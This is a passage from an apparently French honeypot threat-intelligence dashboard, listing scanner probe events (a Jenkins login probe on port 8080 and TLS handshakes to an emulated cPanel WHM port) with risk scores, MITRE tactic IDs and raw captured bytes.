"payload_hash": "54f2477f1e4a7d1a6d7b0c6a1ece1af3",
"path_pattern_hash": "7e93fba0bc7adda858a2500090e639e4"
},
"target_context": {
"dst_port": 8080,
"service": "http",
"service_name": "http",
"risk_score": 35
},
"payload_preview": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip\r\n\r\n",
"method": "GET",
"path": "\/login",
"user_agent": "Go-http-client\/1.1",
"request_line": "GET \/login HTTP\/1.1",
"request_sample": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip\r\n\r\n",
"payload_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"evidence": {
"method": "GET",
"path": "\/login",
"user_agent": "Go-http-client\/1.1",
"request_line": "GET \/login HTTP\/1.1",
"request_sample": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip\r\n\r\n",
"payload_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"classification_reason": "Type \u00ab jenkins_probe \u00bb (signaux protocolaires) \u00b7 confiance 47%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"scanner"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "b5666f234b26e4eb17846bceb6c44715d471f7cf",
"protocol_details": {
"http_method": "GET",
"http_path": "\/login",
"request_line": "GET \/login HTTP\/1.1",
"http_user_agent": "Go-http-client\/1.1",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"attack_vector": "jenkins probe \u00b7 via HTTP:8080 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 47 % \u2014 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab jenkins_probe \u00bb (signaux protocolaires) \u00b7 confiance 47%",
"classification_reason_label_fr": "Type \u00ab jenkins_probe \u00bb (signaux protocolaires) \u00b7 confiance 47%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 35\/100",
"confidence_pct": 47,
"confidence_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 15,
"risk_score": 35
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 35,
"risk_label": "Faible",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8080,
"protocol_emulated": true,
"tags_summary": [
"INT-cicd-jenkins"
],
"tags_summary_labels_fr": [
"Cicd Jenkins"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Confiance mod\u00e9r\u00e9e \u2014 signal unique",
"protocol_details": {
"http_method": "GET",
"http_path": "\/login",
"request_line": "GET \/login HTTP\/1.1",
"http_user_agent": "Go-http-client\/1.1",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "jenkins probe \u00b7 via HTTP:8080 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login",
"evidence_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 47 % \u2014 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 47 % \u2014 Score WAF 8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8080"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "discovery",
"matched_patterns": [],
"ban_policy": "advisory_monitor",
"tags_list": [
"http_probe_login",
"http_ua_suspicious",
"net_web_probe"
]
}
|
|
|
TCP |
2087 · CPANEL WHM
|
cpanel-whm
|
Sonde PostgreSQL
postgres probe · via CPANEL WHM:2087 · (sonde / probe)
|
Élevée
|
Faible · 35
|
|
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0007
TA0007
TA0001
Protocole
Émulateur
CPANEL-WHM
WAF
—
Recommandation
Surveiller
Tags
cpanel_whm_emulated
cpanel_whm_payload
net_cpanel_probe
tls_clienthello
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
|
Méthode
—
Port
2087
Chemin / cible
—
Service
CPANEL WHM
Payload
� �3��0LS ��?X�0]t��оt�f�Ӟ��z�� � ���������o��z������/0��.� �+�/�,�0̨̩� �� � [ �
Pourquoi cette classification : Type « postgres_probe » (signaux protocolaires) · confiance 49%
Confiance classification
49%
Confiance modérée — signal unique
Risque capteur
Faible
· 35
Confiance : Confiance 49 % — Motif catalogue confirmé
Protocole émulé
1
Signaux
pat-0369
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
PostgreSQL startup
STUN binding
Minecraft varint handshake
SOCKS5 greeting
SIP TLS ClientHello
TFTP RRQ
User-Agent
—
Règles WAF
—
Payload (extrait)
� �3��0LS ��?X�0]t��оt�f�Ӟ��z�� � ���������o��z������/0��.� �+�/�,�0̨̩� ��
� [ �
Requête brute (extrait)
� �3��0LS ��?X�0]t��оt�f�Ӟ��z�� � ���������o��z������/0��.� �+�/�,�0̨̩� �� � [ � � 2 + 3�����'z)a �c 0�<�$�e���{�¡F3��
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206370737276642f31312e3131300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2033380d0a0d0a3c68746d6c3e3c626f64793e6350616e656c204c6f67696e3c2f626f64793e3c2f68746d6c3e",
"emulator_response_len": 125,
"bytes_in": 1479,
"payload_entropy": 7.719905524268986,
"port_category": "registered",
"org": "Vpsvault.host Ltd",
"service": "cpanel-whm",
"app_proto": "cpanel-whm",
"asn": 215925,
"country": "US",
"dst_port": 2087,
"risk_waf": 8,
"risk_classification": 32,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 30,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 3,
"risk_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 15
},
"risk_score": 35,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "51584d32aeb6bcba72953119cc78a0e0836a8f64",
"event_fingerprint": "bd94c1be47794e5b05816ea1bc287e14296ba082",
"classification_reason": "Type \u00ab postgres_probe \u00bb (signaux protocolaires) \u00b7 confiance 49%",
"confidence": 0.49,
"classification_confidence": 0.49,
"precision_score": 58,
"precision_signals": [
"pat-0369"
],
"kb_rule_ids": [
"pat-0369"
],
"matched_patterns": [
"pat-0369",
"pat-0771",
"pat-0554",
"pat-0567",
"pat-0578",
"pat-0536"
],
"matched_pattern_names": [
"PostgreSQL startup",
"STUN binding",
"Minecraft varint handshake",
"SOCKS5 greeting",
"SIP TLS ClientHello",
"TFTP RRQ"
],
"pattern_ids": [
"pat-0369",
"pat-0771",
"pat-0554",
"pat-0567",
"pat-0578",
"pat-0536"
],
"confidence_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 15,
"risk_score": 35
},
"named_classification_skipped": false,
"service_name": "cpanel-whm",
"risk_confidence_factor": 49,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 215925,
"org": "Vpsvault.host Ltd",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "08cbbeee8ff905e140dd438bbb57f002",
"path_pattern_hash": "80f3c71fe26f36a0a9399108643f66c5"
},
"target_context": {
"dst_port": 2087,
"service": "cpanel-whm",
"service_name": "cpanel-whm",
"risk_score": 35
},
"payload_snippet": "\u0016\u0003\u0001\u0005\ufffd\u0001\u0000\u0005\ufffd\u0003\u00033\ufffd\ufffd0LS\u0017\u001e\ufffd\ufffd\u0006?X\ufffd0]t\ufffd\ufffd\u043et\ufffdf\ufffd\u04de\ufffd\ufffdz\ufffd\ufffd \ufffd\f\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\u0003\ufffd\ufffdo\ufffd\ufffdz\ufffd\u0005\ufffd\ufffd\ufffd\ufffd\ufffd\/0\ufffd\u0002\ufffd.\ufffd\u0000\u001a\ufffd+\ufffd\/\ufffd,\ufffd0\u0329\u0328\ufffd\t\ufffd\u0013\ufffd\n\ufffd\u0014\u0013\u0001\u0013\u0002\u0013\u0003\u0001\u0000\u0005[\u0000\u000b\u0000\u0002\u0001\u0000\ufffd\u0001\u0000\u0001\u0000\u0000\u0017\u0000\u0000\u0000\u0012\u0000\u0000\u0000",
"evidence": {
"request_sample": "\u0016\u0003\u0001\u0005\ufffd\u0001\u0000\u0005\ufffd\u0003\u00033\ufffd\ufffd0LS\u0017\u001e\ufffd\ufffd\u0006?X\ufffd0]t\ufffd\ufffd\u043et\ufffdf\ufffd\u04de\ufffd\ufffdz\ufffd\ufffd \ufffd\f\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\u0003\ufffd\ufffdo\ufffd\ufffdz\ufffd\u0005\ufffd\ufffd\ufffd\ufffd\ufffd\/0\ufffd\u0002\ufffd.\ufffd\u0000\u001a\ufffd+\ufffd\/\ufffd,\ufffd0\u0329\u0328\ufffd\t\ufffd\u0013\ufffd\n\ufffd\u0014\u0013\u0001\u0013\u0002\u0013\u0003\u0001\u0000\u0005[\u0000\u000b\u0000\u0002\u0001\u0000\ufffd\u0001\u0000\u0001\u0000\u0000\u0017\u0000\u0000\u0000\u0012\u0000\u0000\u0000\u0005\u0000\u0005\u0001\u0000\u0000\u0000\u0000\u0000\n\u0000\f\u0000\n\u0011\ufffd\u0000\u001d\u0000\u0017\u0000\u0018\u0000\u0019\u0000\r\u0000\u0016\u0000\u0014\b\u0004\u0004\u0003\b\u0007\b\u0005\b\u0006\u0004\u0001\u0005\u0001\u0006\u0001\u0005\u0003\u0006\u0003\u00002\u0000\u001a\u0000\u0018\b\u0004\u0004\u0003\b\u0007\b\u0005\b\u0006\u0004\u0001\u0005\u0001\u0006\u0001\u0005\u0003\u0006\u0003\u0002\u0001\u0002\u0003\u0000+\u0000\u0005\u0004\u0003\u0004\u0003\u0003\u00003\u0004\ufffd\u0004\ufffd\u0011\ufffd\u0004\ufffd\ufffd'z)a\u001c\ufffdc\u000b0\ufffd<\ufffd\u001a$\ufffde\ufffd\ufffd\ufffd\u0003{\ufffd\u00a1F3\ufffd\ufffd",
"payload_snippet": "\u0016\u0003\u0001\u0005\ufffd\u0001\u0000\u0005\ufffd\u0003\u00033\ufffd\ufffd0LS\u0017\u001e\ufffd\ufffd\u0006?X\ufffd0]t\ufffd\ufffd\u043et\ufffdf\ufffd\u04de\ufffd\ufffdz\ufffd\ufffd \ufffd\f\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\u0003\ufffd\ufffdo\ufffd\ufffdz\ufffd\u0005\ufffd\ufffd\ufffd\ufffd\ufffd\/0\ufffd\u0002\ufffd.\ufffd\u0000\u001a\ufffd+\ufffd\/\ufffd,\ufffd0\u0329\u0328\ufffd\t\ufffd\u0013\ufffd\n\ufffd\u0014\u0013\u0001\u0013\u0002\u0013\u0003\u0001\u0000\u0005[\u0000\u000b\u0000\u0002\u0001\u0000\ufffd\u0001\u0000\u0001\u0000\u0000\u0017\u0000\u0000\u0000\u0012\u0000\u0000\u0000",
"classification_reason": "Type \u00ab postgres_probe \u00bb (signaux protocolaires) \u00b7 confiance 49%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"scanner"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "247522aa91709adb1369dfe4b0316bed93fee95a",
"protocol_details": {
"payload_preview": "\u0016\u0003\u0001\u0005\ufffd\u0001\u0000\u0005\ufffd\u0003\u00033\ufffd\ufffd0LS\u0017\u001e\ufffd\ufffd\u0006?X\ufffd0]t\ufffd\ufffd\u043et\ufffdf\ufffd\u04de\ufffd\ufffdz\ufffd\ufffd \ufffd\f\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\u0003\ufffd\ufffdo\ufffd\ufffdz\ufffd\u0005\ufffd\ufffd\ufffd\ufffd\ufffd\/0\ufffd\u0002\ufffd.\ufffd\u0000\u001a\ufffd+\ufffd\/\ufffd,\ufffd0\u0329\u0328\ufffd\t\ufffd\u0013\ufffd\n\ufffd\u0014\u0013\u0001\u0013\u0002\u0013\u0003\u0001\u0000\u0005[\u0000\u000b\u0000\u0002\u0001\u0000\ufffd\u0001\u0000\u0001\u0000\u0000\u0017\u0000\u0000\u0000\u0012\u0000\u0000\u0000",
"port": 2087,
"service": "cpanel-whm",
"service_label_fr": "CPANEL WHM"
},
"evidence_snippet": "\ufffd\ufffd3\ufffd\ufffd0LS\ufffd\ufffd?X\ufffd0]t\ufffd\ufffd\u043et\ufffdf\ufffd\u04de\ufffd\ufffdz\ufffd\ufffd \ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffdo\ufffd\ufffdz\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\/0\ufffd\ufffd.\ufffd\ufffd+\ufffd\/\ufffd,\ufffd0\u0329\u0328\ufffd\t\ufffd\ufffd\n\ufffd[\ufffd",
"attack_vector": "postgres probe \u00b7 via CPANEL WHM:2087 \u00b7 (sonde \/ probe)",
"target_port_label": "2087 \u00b7 CPANEL WHM",
"emulator_service": "cpanel-whm",
"confidence_reason": "Confiance 49 % \u2014 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab postgres_probe \u00bb (signaux protocolaires) \u00b7 confiance 49%",
"classification_reason_label_fr": "Type \u00ab postgres_probe \u00bb (signaux protocolaires) \u00b7 confiance 49%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 35\/100",
"confidence_pct": 49,
"confidence_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 15,
"risk_score": 35
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 35,
"risk_label": "Faible",
"service_name": "cpanel-whm",
"service_label_fr": "CPANEL WHM",
"dst_port": 2087,
"protocol_emulated": true,
"tags_summary": [
"pat-0369"
],
"tags_summary_labels_fr": [
"pat-0369"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-cpanel-whm",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Confiance mod\u00e9r\u00e9e \u2014 signal unique",
"protocol_details": {
"payload_preview": "\u0016\u0003\u0001\u0005\ufffd\u0001\u0000\u0005\ufffd\u0003\u00033\ufffd\ufffd0LS\u0017\u001e\ufffd\ufffd\u0006?X\ufffd0]t\ufffd\ufffd\u043et\ufffdf\ufffd\u04de\ufffd\ufffdz\ufffd\ufffd \ufffd\f\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\u0003\ufffd\ufffdo\ufffd\ufffdz\ufffd\u0005\ufffd\ufffd\ufffd\ufffd\ufffd\/0\ufffd\u0002\ufffd.\ufffd\u0000\u001a\ufffd+\ufffd\/\ufffd,\ufffd0\u0329\u0328\ufffd\t\ufffd\u0013\ufffd\n\ufffd\u0014\u0013\u0001\u0013\u0002\u0013\u0003\u0001\u0000\u0005[\u0000\u000b\u0000\u0002\u0001\u0000\ufffd\u0001\u0000\u0001\u0000\u0000\u0017\u0000\u0000\u0000\u0012\u0000\u0000\u0000",
"port": 2087,
"service": "cpanel-whm",
"service_label_fr": "CPANEL WHM"
},
"attack_vector": "postgres probe \u00b7 via CPANEL WHM:2087 \u00b7 (sonde \/ probe)",
"evidence_snippet": "\ufffd\ufffd3\ufffd\ufffd0LS\ufffd\ufffd?X\ufffd0]t\ufffd\ufffd\u043et\ufffdf\ufffd\u04de\ufffd\ufffdz\ufffd\ufffd \ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffdo\ufffd\ufffdz\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\/0\ufffd\ufffd.\ufffd\ufffd+\ufffd\/\ufffd,\ufffd0\u0329\u0328\ufffd\t\ufffd\ufffd\n\ufffd[\ufffd",
"target_port_label": "2087 \u00b7 CPANEL WHM",
"emulator_service": "cpanel-whm",
"confidence_reason": "Confiance 49 % \u2014 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 49 % \u2014 Score WAF 8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "cpanel_whm",
"service_banner": "honeypot-cpanel-whm",
"service_os": "linux",
"dst_port": "2087"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "discovery",
"ban_policy": "advisory_monitor",
"tags_list": [
"cpanel_whm_emulated",
"cpanel_whm_payload",
"net_cpanel_probe",
"tls_clienthello"
],
"behavior_alert_count": 2,
"behavior_priority": 84
}
|
|
|
TCP |
2087 · CPANEL WHM
|
cpanel-whm
|
Sonde PostgreSQL
postgres probe · via CPANEL WHM:2087 · (sonde / probe)
|
Élevée
|
Faible · 35
|
|
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0007
TA0007
TA0001
Protocole
Émulateur
CPANEL-WHM
WAF
—
Recommandation
Surveiller
Tags
cpanel_whm_emulated
cpanel_whm_payload
net_cpanel_probe
tls_clienthello
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
|
Méthode
—
Port
2087
Chemin / cible
—
Service
CPANEL WHM
Payload
� ��4\�86����~!��݅o�w��k�QF�i�j@� q��"��m�Y� �Q_�h��Ü�j��},C8/^ �+�/�,�0̨̩� �� � [ �
Pourquoi cette classification : Type « postgres_probe » (signaux protocolaires) · confiance 49%
Confiance classification
49%
Confiance modérée — signal unique
Risque capteur
Faible
· 35
Confiance : Confiance 49 % — Motif catalogue confirmé
Protocole émulé
1
Signaux
pat-0369
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
PostgreSQL startup
STUN binding
Minecraft varint handshake
SOCKS5 greeting
SIP TLS ClientHello
TFTP RRQ
User-Agent
—
Règles WAF
—
Payload (extrait)
� ��4\�86����~!��݅o�w��k�QF�i�j@� q��"��m�Y� �Q_�h��Ü�j��},C8/^ �+�/�,�0̨̩� ��
� [ �
Requête brute (extrait)
� ��4\�86����~!��݅o�w��k�QF�i�j@� q��"��m�Y� �Q_�h��Ü�j��},C8/^ �+�/�,�0̨̩� �� � [ � � 2 + 3������|�;d"k뒝�\I[�Np�D=�G�:�
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206370737276642f31312e3131300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2033380d0a0d0a3c68746d6c3e3c626f64793e6350616e656c204c6f67696e3c2f626f64793e3c2f68746d6c3e",
"emulator_response_len": 125,
"bytes_in": 1479,
"payload_entropy": 7.757953842764129,
"port_category": "registered",
"org": "Vpsvault.host Ltd",
"service": "cpanel-whm",
"app_proto": "cpanel-whm",
"asn": 215925,
"country": "US",
"dst_port": 2087,
"risk_waf": 8,
"risk_classification": 32,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 30,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 3,
"risk_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 15
},
"risk_score": 35,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "51584d32aeb6bcba72953119cc78a0e0836a8f64",
"event_fingerprint": "bd94c1be47794e5b05816ea1bc287e14296ba082",
"classification_reason": "Type \u00ab postgres_probe \u00bb (signaux protocolaires) \u00b7 confiance 49%",
"confidence": 0.49,
"classification_confidence": 0.49,
"precision_score": 58,
"precision_signals": [
"pat-0369"
],
"kb_rule_ids": [
"pat-0369"
],
"matched_patterns": [
"pat-0369",
"pat-0771",
"pat-0554",
"pat-0567",
"pat-0578",
"pat-0536"
],
"matched_pattern_names": [
"PostgreSQL startup",
"STUN binding",
"Minecraft varint handshake",
"SOCKS5 greeting",
"SIP TLS ClientHello",
"TFTP RRQ"
],
"pattern_ids": [
"pat-0369",
"pat-0771",
"pat-0554",
"pat-0567",
"pat-0578",
"pat-0536"
],
"confidence_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 15,
"risk_score": 35
},
"named_classification_skipped": false,
"service_name": "cpanel-whm",
"risk_confidence_factor": 49,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 215925,
"org": "Vpsvault.host Ltd",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "053d013a5ddd381f29c71de0bb88c7c6",
"path_pattern_hash": "80f3c71fe26f36a0a9399108643f66c5"
},
"target_context": {
"dst_port": 2087,
"service": "cpanel-whm",
"service_name": "cpanel-whm",
"risk_score": 35
},
"payload_snippet": "\u0016\u0003\u0001\u0005\ufffd\u0001\u0000\u0005\ufffd\u0003\u0003\ufffd4\\\ufffd86\ufffd\ufffd\ufffd\ufffd~!\ufffd\ufffd\u0745o\ufffdw\ufffd\ufffdk\ufffdQF\ufffdi\ufffdj@\ufffd\u001e q\ufffd\ufffd\"\ufffd\ufffdm\ufffdY\ufffd\u000b\ufffdQ\u001a_\ufffdh\ufffd\ufffd\u00dc\ufffd\u000fj\ufffd\ufffd},C8\/^\u0000\u001a\ufffd+\ufffd\/\ufffd,\ufffd0\u0329\u0328\ufffd\t\ufffd\u0013\ufffd\n\ufffd\u0014\u0013\u0001\u0013\u0002\u0013\u0003\u0001\u0000\u0005[\u0000\u000b\u0000\u0002\u0001\u0000\ufffd\u0001\u0000\u0001\u0000\u0000\u0017\u0000\u0000\u0000\u0012\u0000\u0000\u0000",
"evidence": {
"request_sample": "\u0016\u0003\u0001\u0005\ufffd\u0001\u0000\u0005\ufffd\u0003\u0003\ufffd4\\\ufffd86\ufffd\ufffd\ufffd\ufffd~!\ufffd\ufffd\u0745o\ufffdw\ufffd\ufffdk\ufffdQF\ufffdi\ufffdj@\ufffd\u001e q\ufffd\ufffd\"\ufffd\ufffdm\ufffdY\ufffd\u000b\ufffdQ\u001a_\ufffdh\ufffd\ufffd\u00dc\ufffd\u000fj\ufffd\ufffd},C8\/^\u0000\u001a\ufffd+\ufffd\/\ufffd,\ufffd0\u0329\u0328\ufffd\t\ufffd\u0013\ufffd\n\ufffd\u0014\u0013\u0001\u0013\u0002\u0013\u0003\u0001\u0000\u0005[\u0000\u000b\u0000\u0002\u0001\u0000\ufffd\u0001\u0000\u0001\u0000\u0000\u0017\u0000\u0000\u0000\u0012\u0000\u0000\u0000\u0005\u0000\u0005\u0001\u0000\u0000\u0000\u0000\u0000\n\u0000\f\u0000\n\u0011\ufffd\u0000\u001d\u0000\u0017\u0000\u0018\u0000\u0019\u0000\r\u0000\u0016\u0000\u0014\b\u0004\u0004\u0003\b\u0007\b\u0005\b\u0006\u0004\u0001\u0005\u0001\u0006\u0001\u0005\u0003\u0006\u0003\u00002\u0000\u001a\u0000\u0018\b\u0004\u0004\u0003\b\u0007\b\u0005\b\u0006\u0004\u0001\u0005\u0001\u0006\u0001\u0005\u0003\u0006\u0003\u0002\u0001\u0002\u0003\u0000+\u0000\u0005\u0004\u0003\u0004\u0003\u0003\u00003\u0004\ufffd\u0004\ufffd\u0011\ufffd\u0004\ufffd\ufffd\u0004\ufffd|\ufffd;d\"k\ub49d\ufffd\\\u0010I[\ufffdNp\u001b\ufffdD=\ufffdG\ufffd:\ufffd",
"payload_snippet": "\u0016\u0003\u0001\u0005\ufffd\u0001\u0000\u0005\ufffd\u0003\u0003\ufffd4\\\ufffd86\ufffd\ufffd\ufffd\ufffd~!\ufffd\ufffd\u0745o\ufffdw\ufffd\ufffdk\ufffdQF\ufffdi\ufffdj@\ufffd\u001e q\ufffd\ufffd\"\ufffd\ufffdm\ufffdY\ufffd\u000b\ufffdQ\u001a_\ufffdh\ufffd\ufffd\u00dc\ufffd\u000fj\ufffd\ufffd},C8\/^\u0000\u001a\ufffd+\ufffd\/\ufffd,\ufffd0\u0329\u0328\ufffd\t\ufffd\u0013\ufffd\n\ufffd\u0014\u0013\u0001\u0013\u0002\u0013\u0003\u0001\u0000\u0005[\u0000\u000b\u0000\u0002\u0001\u0000\ufffd\u0001\u0000\u0001\u0000\u0000\u0017\u0000\u0000\u0000\u0012\u0000\u0000\u0000",
"classification_reason": "Type \u00ab postgres_probe \u00bb (signaux protocolaires) \u00b7 confiance 49%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"scanner"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "af52a552cc9ad31d85800a019ed1c59765f09305",
"protocol_details": {
"payload_preview": "\u0016\u0003\u0001\u0005\ufffd\u0001\u0000\u0005\ufffd\u0003\u0003\ufffd4\\\ufffd86\ufffd\ufffd\ufffd\ufffd~!\ufffd\ufffd\u0745o\ufffdw\ufffd\ufffdk\ufffdQF\ufffdi\ufffdj@\ufffd\u001e q\ufffd\ufffd\"\ufffd\ufffdm\ufffdY\ufffd\u000b\ufffdQ\u001a_\ufffdh\ufffd\ufffd\u00dc\ufffd\u000fj\ufffd\ufffd},C8\/^\u0000\u001a\ufffd+\ufffd\/\ufffd,\ufffd0\u0329\u0328\ufffd\t\ufffd\u0013\ufffd\n\ufffd\u0014\u0013\u0001\u0013\u0002\u0013\u0003\u0001\u0000\u0005[\u0000\u000b\u0000\u0002\u0001\u0000\ufffd\u0001\u0000\u0001\u0000\u0000\u0017\u0000\u0000\u0000\u0012\u0000\u0000\u0000",
"port": 2087,
"service": "cpanel-whm",
"service_label_fr": "CPANEL WHM"
},
